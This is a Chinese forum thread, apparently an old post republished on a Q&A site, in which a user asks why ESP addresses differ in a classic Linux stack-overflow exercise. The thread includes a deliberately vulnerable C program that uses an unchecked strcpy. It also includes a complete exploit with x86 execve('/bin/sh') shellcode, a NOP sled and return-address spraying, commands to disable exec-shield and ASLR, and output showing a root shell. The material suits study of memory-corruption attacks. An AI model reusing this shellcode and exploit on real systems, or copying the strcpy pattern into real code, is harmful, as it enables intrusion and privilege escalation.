一个溢出程序的疑惑(gcc 4.1.2+FC7)

发布于 2022-09-21 01:06:42 字数 6751 浏览 11 评论 0

一个有问题的程序:

  1. /*
  2. * test.c for test overflow under FC7 with gcc 4.1.2
  3. * you must echo "0">/proc/sys/kernel/exec-shield
  4. * you must  echo  "0">/proc/sys/kernel/randomize_va_space
  5. */

  6. long get_esp()
  7. {
  8.    __asm__("movl %esp,%eax");
  9. }
  10. void func(unsigned char *from)
  11. {
  12.         unsigned char dest[512];
  13.         long esp;
  14.         esp = get_esp();
  15.         printf("esp : 0x%x\n",esp);//打印当前ESP内容
  16.         strcpy(dest,from);//此处溢出
  17. }
  18. int main(int argc,char *argv[]){
  19.         if(argc>1){
  20.                 func(argv[1]);
  21.         }
  22.         return 0;
  23. }
复制代码

攻击程序:

  1. /*
  2. * attacktest.c to attack test.c under FC7 with gcc 4.1.2
  3. * you must echo "0">/proc/sys/kernel/exec-shield
  4. * you must  echo  "0">/proc/sys/kernel/randomize_va_space
  5. */
  6. #include<stdio.h>
  7. #include<stdlib.h>

  8. unsigned char shellcode[] =
  9.    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
  10.    "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
  11.    "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
  12. long get_esp()
  13. {
  14.    __asm__("movl %esp,%eax");
  15. }

  16. main(int argc,char *argv[])
  17. {
  18.         int i =0;
  19.         char *ptr;
  20.         long *addr_ptr;
  21.         long addr;
  22.         int offset=0,bsize=700;
  23.         unsigned char *buffer;

  24.         if(argc>1) bsize = atoi(argv[1]);
  25.         if(argc>2) offset = atoi(argv[2]);

  26.         addr = get_esp() - offset;
  27.         if(!(buffer=malloc(bsize))) {
  28.                 printf("no enough memory!\n");
  29.                 exit(0);
  30.         }

  31.         printf("esp : 0x%x\n",addr);//打印当前ESP内容
  32.         ptr=buffer;
  33.         addr_ptr=(long *)ptr;

  34.         for(i=0;i<bsize;i+=4)
  35.                 *(addr_ptr++)=addr;

  36.         for(i=0;i<bsize/2;i++)
  37.                 buffer[i]=0x90;

  38.         ptr=buffer+bsize/2;
  39.         for(i=0;i<strlen(shellcode);i++)
  40.                 *(ptr++)=shellcode[i];

  41.         buffer[bsize-1]='\0';

  42.         execl("./test","test",buffer,0);
  43.         free(buffer);
  44.         return 0;

  45. }
复制代码

对于attacktest.c的buffer的设计:|NOP.......NOP|shelllcode|ESP........ESP|,其中buffer的一半都是NOP
经过测试test.c被溢出的上限和下限分别是953和635(657为原先测试的下限,后来将test.c中大取ESP地址并打印的部分去掉了,下限就变成了635,后来又将打印ESP添上,下限仍然是635),我分析test.c堆栈结构如下(阴影部分不知道有什么用处):

test1.png (11.14 KB, 下载次数: 1)

下载附件

2008-08-23 12:52 上传


假设attacktest.c中的buffer的长度为x,不考虑猜测EIP的偏差,shellcode长度为45,则必须满足:x/2+45<=512+4+4,则 x<=950,也就是NOP+shellcode部分必须在buff1以内。考虑到buff2要覆盖buff1并覆盖其后的EIP,因此x> 512+4+4,即x>520,即:
在不考虑猜测EIP偏差的情况下:520<x<950

现在考虑猜测EIP偏差,分别测试边界情况的猜测EIP偏差:

[root@localhost muyin]# ./attacktest 953
esp : 0xbfffe418----------------------------------------------->attacktest.c
esp : 0xbfffde88----------------------------------------------->test.c
sh-3.2# exit
exit
[root@localhost muyin]# ./attacktest 657
esp : 0xbfffe418------------------------------------------------>attacktest.c
esp : 0xbfffdfa8------------------------------------------------->test.c
sh-3.2# exit
exit

可以看出attacktest.c中ESP的地址比test.c的ESP地址高1000多,那么覆盖test.c中的dest[512]后的返回地址就会比Ttest.c当前的ESP高出很多,就不会返回到dest去执行shellcode了。不解
另外,我编写程序打印ESP内容,发现GDB里调试的结果和单独执行不一样,而且在两个终端同时执行一个程序,结果也不一样。
高手说说linux下可执行程序刚开始的地址是怎么选取的吧?
对于

  1. long get_esp()
  2. {
  3.    __asm__("movl %esp,%eax");
  4. }

  5. main()
  6. {
  7.         long esp;
  8.         esp = get_esp();
  9.         printf("%x\n",esp);
  10. }
复制代码
在不同终端中运行的记过分别是bfffe448,bfffe3a8,bfffe468

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(4

傲性难收 2022-09-28 01:06:42

anybody can help me?

倾城°AllureLove 2022-09-28 01:06:42

这个 get_esp() 是不对的。
得到的只是下栈桢的值,不是当前esp的值,得到当前esp,应该在当前处嵌入汇编

我只土不豪 2022-09-28 01:06:42

嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:http://linux.chinaunix.net/bbs/thread-1026846-1-1.html

謌踐踏愛綪 2022-09-28 01:06:42

原帖由 ruger 于 2008-8-25 22:55 发表
嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:htt ...

你的程序感觉很乱,主贴又长又罗嗦, 所以,我基本没看你的贴子,只看了一眼 get_esp()

你最好把你的想法,意图清楚地表达出来

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文